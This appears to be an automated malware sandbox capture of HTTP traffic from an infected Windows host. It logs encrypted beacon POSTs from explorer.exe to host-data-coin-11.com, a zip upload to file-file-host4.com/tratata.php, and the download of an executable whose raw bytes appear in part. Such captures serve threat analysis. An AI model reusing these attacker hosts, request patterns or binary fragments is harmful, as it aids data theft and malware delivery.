45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.3	49842	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:05:07.620755911 CET	14477	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ysemel.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 207 Host: host-data-coin-11.com
Dec 1, 2021 10:05:07.620771885 CET	14478	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de bb 66 5d 02 c8 a1 c1 64 20 b0 b9 26 Data Ascii: o:@ACFkUwmDu$f]d &{b~DVGDn<{$Ew{F[kFLzFL8b#\Vd7IA>EyevsRvq/[NDQ
Dec 1, 2021 10:05:07.726607084 CET	14478	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:05:07 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.3	49843	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:05:07.850172997 CET	14479	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dagsykb.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 133 Host: host-data-coin-11.com
Dec 1, 2021 10:05:07.850212097 CET	14479	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de b8 66 5d 02 c8 a1 c1 64 55 80 c2 70 Data Ascii: o:@ACFkUwmDu$f]dUp]-wgcFSYtUO2;wzQba2;!
Dec 1, 2021 10:05:07.948599100 CET	14480	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:05:07 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.3	49844	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:05:08.065557003 CET	14481	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://owgeqjie.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 143 Host: host-data-coin-11.com
Dec 1, 2021 10:05:08.065584898 CET	14481	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de b9 66 5d 02 c8 a1 c1 64 41 a6 b8 6a Data Ascii: o:@ACFkUwmDu$f]dAjQW?rQal2P}T'w?Cj3"EUd1.()^LdU-H
Dec 1, 2021 10:05:08.175218105 CET	14481	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:05:08 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.3	49845	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:05:08.267683029 CET	14482	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rvwnoilj.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 360 Host: host-data-coin-11.com
Dec 1, 2021 10:05:08.267685890 CET	14482	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de b6 66 5d 02 c8 a1 c1 64 12 8b a7 7d Data Ascii: o:@ACFkUwmDu$f]d}yaWY1B{)~hnD$RIIXG"8"Z$lPXJSaNW#69)TSQlt8+sHx"PNN#EiO\#E^
Dec 1, 2021 10:05:08.373811007 CET	14483	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:05:08 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.3	49846	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:05:08.472383976 CET	14483	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ggqrkginit.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 116 Host: host-data-coin-11.com
Dec 1, 2021 10:05:08.472420931 CET	14484	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de b7 66 5d 02 c8 a1 c1 64 31 c7 ac 76 Data Ascii: o:@ACFkUwmDu$f]d1vYloB}e ';Czjui_:\|
Dec 1, 2021 10:05:08.576098919 CET	14484	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:05:08 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.3	49847	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:05:08.885124922 CET	14485	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vutak.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 194 Host: host-data-coin-11.com
Dec 1, 2021 10:05:08.885157108 CET	14485	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de b4 66 5d 02 c8 a1 c1 64 10 93 cb 1c Data Ascii: o:@ACFkUwmDu$f]d'^4l-&ZAoRkwLY#[:#_(mfvS1%S<DLoQA'LkcH`g'
Dec 1, 2021 10:05:08.991471052 CET	14485	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:05:08 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49754	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:27.936999083 CET	1104	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nvrwtjsdku.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 276 Host: host-data-coin-11.com
Dec 1, 2021 10:04:27.937012911 CET	1104	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9a 66 5d 02 c8 a1 c1 64 01 94 b0 79 Data Ascii: o:@ACFkUwmDu$f]dyRAR0y~fH'rZ[<r}U=Xp$+BVe<Um3.R*ZE+V5>1qn+'(\l%8naJ&b`6}Dc(F:`2IA
Dec 1, 2021 10:04:28.043939114 CET	1104	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08 93 31 f9 55 50 99 4a f7 e0 25 e5 39 1a 46 eb ab 8f 70 bc 57 da 4a d7 f7 26 84 22 e9 c3 90 50 2a e1 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OU&1UPJ%9FpWJ&"P*c0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.3	49849	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:05:21.879265070 CET	14491	OUT	POST /tratata.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----PZMY5PHVAI5F3EKF Host: file-file-host4.com Content-Length: 81665 Connection: Keep-Alive Cache-Control: no-cache Cookie: PHPSESSID=sc69tg8a29f4pr0nv46ehfqbko
Dec 1, 2021 10:05:21.879435062 CET	14503	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 50 5a 4d 59 35 50 48 56 41 49 35 46 33 45 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 36 38 59 35 58 54 4a 2e 7a 69 Data Ascii: ------PZMY5PHVAI5F3EKFContent-Disposition: form-data; name="file"L68Y5XTJ.zip------PZMY5PHVAI5F3EKFContent-Disposition: form-data; name="file"; filename="L68Y5XTJ.zip"Content-Type: application/octet-streamContent-Transfer-Encodin
Dec 1, 2021 10:05:21.937200069 CET	14510	OUT	Data Raw: 54 cb 7c c1 c5 d4 ee 59 cb 3f e7 d3 47 f1 99 bf da 3d 5c 8e 1d 8f 4a 37 88 9e ec 3c f9 cc 3c b4 58 b7 13 1a 4b 34 f9 64 b0 fd 3c f5 8e b7 bd 8e 85 ab 96 d6 75 86 f2 6c 58 e5 e8 fa b5 3f fa e3 72 b8 a3 8d dd 4b d0 20 82 f2 3e c3 8f 19 e9 3f 9c 15 Data Ascii: T\|Y?G=\J7<<XK4d<ulX?rK >?Hs\|% orjGVd(j]o-OH'rW2$cPWQ@RbAGDJ?#(BI(F@J3H!"eJER
Dec 1, 2021 10:05:21.937252998 CET	14518	OUT	Data Raw: 68 d6 27 59 d1 8d cb 81 0e 6f 06 03 0f 3f ec ae 8c d8 e6 b2 69 bc 37 f3 b3 3f 9e e6 c6 22 d4 80 db ff 59 f4 e3 48 72 5a c1 ed 82 0c e3 8b a6 6c 09 83 47 61 fe 8b 4c 6c e7 1e 6c 5f c7 9d 16 04 18 5e cb dd 99 31 7e 22 44 74 9b 5f 71 d0 24 e3 6a 0c Data Ascii: h'Yo?i7?"YHrZlGaLll_^1~"Dt_q$je"raLTKt/^<_lisP:A+?L}-2ro~f^{_]hDq5pQ*~ysnc>z)wn`H
Dec 1, 2021 10:05:21.937367916 CET	14528	OUT	Data Raw: ef e8 0c f3 df d1 68 72 af aa 31 30 32 7d c7 ae a3 30 e9 57 f2 f5 33 cf 1b 31 03 a4 7b df 2d b6 f4 a4 fa 5a 85 f1 d1 04 7f 21 b3 fa c3 c9 a9 7c ce 55 46 07 3e 72 aa 97 6c d7 fc 67 57 bf 9e 12 37 0c 8b 76 d6 57 57 0a 4f 6c 3d 49 ba e9 c4 cf 36 5d Data Ascii: hr102}0W31{-Z!\|UF>rlgW7vWWOl=I6]5C_eK;Wjr7~xNU')OL`vVBq6>EX >I,={5:e:u2\:+2/j_tR*H+wK;
Dec 1, 2021 10:05:21.994976044 CET	14534	OUT	Data Raw: f1 db 83 77 c3 de 34 6a 68 63 67 06 69 be ef 5c 51 f0 f4 ec 5f eb 6b 0b de be 37 95 59 8a ca 3a 8c 4b ab 7f ce bf da 8a 63 46 53 36 e7 99 7a bf b9 ab d9 ed 21 87 fb cc af 64 7c aa 45 b0 07 66 98 85 9f 08 e9 71 13 5b 5d 2a 78 2f 04 93 ac 60 3f 39 Data Ascii: w4jhcgi\Q_k7Y:KcFS6z!d\|Efq[]x/`?9T9]Z9;xPiY{f{oV5.\XzLb"sP}SgxQVr=D3yb/kax70)Qj4"WF.}UM/'6-Ti=h
Dec 1, 2021 10:05:21.995018005 CET	14539	OUT	Data Raw: 68 34 8a fd d2 1c a1 ee 57 ff 1d 5c be fc dd d1 b2 7c 74 82 50 21 5c 25 b6 e3 b8 41 e0 9d 0d 1d 0f fd 9c 10 f8 62 21 5d e5 62 44 42 2d 46 e1 c3 31 a8 e1 18 94 27 b3 bd e4 f8 bf 96 c7 17 61 d6 1a db 4b fc 23 46 c1 8b 6f 42 46 bc 28 99 e4 98 10 e0 Data Ascii: h4W\\|tP!\%Ab!]bDB-F1'aK#FoBF(Pi_7a+hm7na[V$5Y?bF)D.Y{z\|O\|v}b(7o_t+SkN.dW4U+q;)Ut
Dec 1, 2021 10:05:21.995157003 CET	14544	OUT	Data Raw: 3c cc 42 54 0a 8c c0 9c 7c 10 f8 f8 48 e3 db 51 3d 96 f8 23 e4 5d ad 97 e6 31 28 71 ee 18 54 e5 52 a6 f8 c3 ab b4 e2 f2 81 b5 72 41 bb 36 f0 3c c3 6f e5 4e 53 01 3f 7f 23 4a 39 09 31 54 c3 0c c1 13 0a 93 70 18 28 88 ec 84 41 81 68 c5 70 7d 0d 74 Data Ascii: <BT\|HQ=#]1(qTRrA6<oNS?#J91Tp(Ahp}t\|xmby7P@p32$sCQmrO)7+U\So+wW*4\xEn^tz/mzAkh4hQI+o}l&`o,K
Dec 1, 2021 10:05:21.995227098 CET	14547	OUT	Data Raw: c4 3e 67 0f ae 9a 90 19 ba f8 47 d2 70 13 95 a0 71 ce 2d c5 24 bb 4e 49 52 89 fe 75 49 8d b4 cc 8d 78 b4 fe e9 d3 c4 6f 2e 05 1d 1d 5f dd 49 a5 0b e0 44 4a d3 be 9e c6 9a 0a 60 25 55 1f 0f 16 df ed a6 74 2e 3d 9a 53 33 9a ab e3 e7 0b ed f8 d3 4f Data Ascii: >gGpq-$NIRuIxo._IDJ`%Ut.=S3Of8Oq3VVE<UvE'.]&*)S&1&^Il1!6{)KpBoq_~AQV^#x1m%e;>.W:>EDN9Z#^zK
Dec 1, 2021 10:05:21.995352030 CET	14558	OUT	Data Raw: 7a d7 f8 f2 dd be 47 c5 91 7d 8f 54 fd 1b 46 1b d6 76 09 28 b7 b3 50 92 65 c4 29 a5 4e 2d 5d 69 83 ed 8b b9 15 a8 21 3f 89 e5 9b d3 8a af 85 6d 2d 2b 64 75 98 75 c0 9a b9 79 35 85 cc f5 aa b9 6c e6 a8 47 0d ef 08 6a 13 c5 7e 22 23 f3 5b 57 a0 fe Data Ascii: zG}TFv(Pe)N-]i!?m-+duuy5lGj~"#[WG-c?-0jCMNiS/G9w9PS]q:!gk9WB'F%C-/Sz=q7' 5Ih?mP4>[rOM4[
Dec 1, 2021 10:05:21.995799065 CET	14560	OUT	Data Raw: e7 b1 3a 5a 80 83 77 fd 0c 3d 83 40 43 4f e3 c7 0d fc e5 5c 71 e1 76 62 3e 0b 82 f4 a1 b3 81 b4 7c af ee b4 7c af e5 3f 64 d8 f7 24 0b a2 37 38 37 56 de 5f 2c 91 6a f2 55 ee 97 d3 a3 8e 36 c1 99 1e 78 85 ac e5 15 0f 4d 0a f6 36 bf ee e4 3d ca 9b Data Ascii: :Zw=@CO\qvb>\|\|?d$787V_,jU6xM6=ZU)xJ7W b?z,tWzpB}o~L&jbZR*h.U1H4-)!yZy@BE;zZ{p7A7=b}TP
Dec 1, 2021 10:05:22.099293947 CET	14574	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Wed, 01 Dec 2021 09:05:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49755	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:28.422101021 CET	1105	OUT	GET /files/8723_1638191106_2017.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: host-file-host-3.com
Dec 1, 2021 10:04:28.505357027 CET	1106	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:28 GMT Content-Type: application/x-msdos-program Content-Length: 1285856 Connection: close Last-Modified: Mon, 29 Nov 2021 13:05:06 GMT ETag: "139ee0-5d1ed16faf7da" Accept-Ranges: bytes Data Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 20 3d 15 26 cf ba ee 2f 19 d3 60 ac 4f 9c ef f1 81 8e a1 4f 5b 97 45 f4 e8 76 69 7c ff 44 43 c7 9e 91 5b 41 d1 06 1c 81 dc 16 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 b8 78 cc d8 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 10 03 00 00 72 0c 00 00 00 00 00 00 d0 0f 00 00 20 00 00 00 40 03 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 10 17 00 00 04 00 00 5c 1b 14 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 03 00 f4 01 00 00 00 60 03 00 58 6f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 03 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 00 00 00 00 00 00 10 00 00 00 50 03 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 58 6f 0c 00 00 60 03 00 58 6f 0c 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 40 07 00 00 d0 0f 00 dd 28 07 00 00 76 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2b fd c3 f3 00 00 00 00 ed 14 0e 00 2f ba 5c 9a 3b 33 29 78 29 6e de aa 7f e6 ad 90 73 d0 6c a5 00 1c 1a 25 15 e6 10 1e 26 c0 8f de a9 3e 68 30 fe e0 82 6c fd 03 94 50 03 00 00 00 00 00 00 00 00 00 ec 50 03 00 8c 50 03 00 a4 50 03 00 00 00 00 00 00 00 00 00 13 51 03 00 9c 50 03 00 b4 50 03 00 00 00 00 00 00 00 00 Data Ascii: MZog':( =&/`OO[Evi\|DC[AQPELx0r @@\@P`Xo@`P@.rsrcXo`Xo@@@(v@+/\;3)x)nsl%&>h0lPPPPQPP
Dec 1, 2021 10:04:28.505397081 CET	1108	IN	Data Raw: 00 32 51 03 00 ac 50 03 00 c4 50 03 00 00 00 00 00 00 00 00 00 57 51 03 00 bc 50 03 00 d4 50 03 00 00 00 00 00 00 00 00 00 80 51 03 00 cc 50 03 00 e4 50 03 00 00 00 00 00 00 00 00 00 9f 51 03 00 dc 50 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2QPPWQPPQPPQPPP#Q#QDQDQgQgQQQQQkernel32.dll/GetModuleHandleAuser32.dll`O
Dec 1, 2021 10:04:28.505409002 CET	1109	IN	Data Raw: 01 10 ce f3 ef 03 f6 d1 fb 0e 39 52 6f 33 c0 83 c0 c3 4d 9b 1f 68 54 00 98 d9 36 e0 31 fc 6e 3a 22 8b 9d 02 f6 38 e7 8e c5 2e a4 2c 43 b1 0b 28 83 99 0d 9b d9 13 f8 fb ce d5 fc d2 c9 3a e0 a8 99 3d 11 2e 05 d7 5e ed 47 00 66 76 35 fe 53 bf ee 3b Data Ascii: 9Ro3MhT61n:"8.,C(:=.^Gfv5S;H&WbRlu?_7)J-GfXR&so.$oJ3&~H}aXmf6\|+:\|."W1aB)/*;+5r
Dec 1, 2021 10:04:28.505425930 CET	1110	IN	Data Raw: c9 52 0a 01 89 ac eb 8e 41 cb 05 c0 4d 39 16 d2 58 0a 01 89 a8 eb 04 7e c7 00 30 b3 4b d1 ca bf dc ac 19 5e cf 1f 6d fc 4b 3e 7b c6 39 b1 4b e9 48 21 50 4b 6b cd 6c 43 a7 7f d8 6d 04 a0 4b 7f 39 1b 3b fb 22 be be 69 bf 42 40 ca 76 6b a7 7f d0 2d Data Ascii: RAM9X~0K^mK>{9KH!PKklCmK9;"iB@vk-Y_TH:rCu<4~NR=$lrPHi.@)n;K(DQHv^\|B@}7mDFo,\Qb1B@/@
Dec 1, 2021 10:04:28.505444050 CET	1112	IN	Data Raw: 51 40 a5 28 04 a4 8d ae 3d bc 5c 00 3c 9b 63 21 52 02 85 80 2c d2 b5 87 bb 06 80 73 6e 1c dd 22 5c 39 0a 01 09 8e 87 1e ee 68 b9 11 00 c0 93 39 15 23 25 52 08 08 3d f4 6e 2f 01 f0 3c 30 9d bd 16 29 9b 42 a0 d1 a6 f1 bd db d5 b2 01 e0 9c 9b 41 93 Data Ascii: Q@(=\<c!R,sn"\9h9#%R=n/<0)BAhgBvHDFg{LHTF9zvYIB1z92ZXy~FKptO}NZ~)kp-T!_@!)\|3*>Vn/Z
Dec 1, 2021 10:04:28.505461931 CET	1113	IN	Data Raw: c1 ff 4e 6c 6a 52 f3 43 c3 46 00 ad cc 6c 0c 38 00 5c 17 b9 14 89 eb 05 e0 1b ce b9 89 d8 85 c4 d0 d8 00 98 63 66 57 02 fb 81 8d b1 6b 91 52 9d c0 6f da f1 7a ec 42 62 6a 7c 00 00 98 d9 4a e0 16 e0 21 b4 9c b8 ee a6 f0 0b 7a 9e 4d 75 9f be 32 29 Data Ascii: NljRCFl8\cfWkRozBbj\|J!zMu2)Z*`8n5\|Nm0pNCAMw~97(Ap~SRT~nj=A6r98Py>Uk:^]H(6'BLUq?(27[#
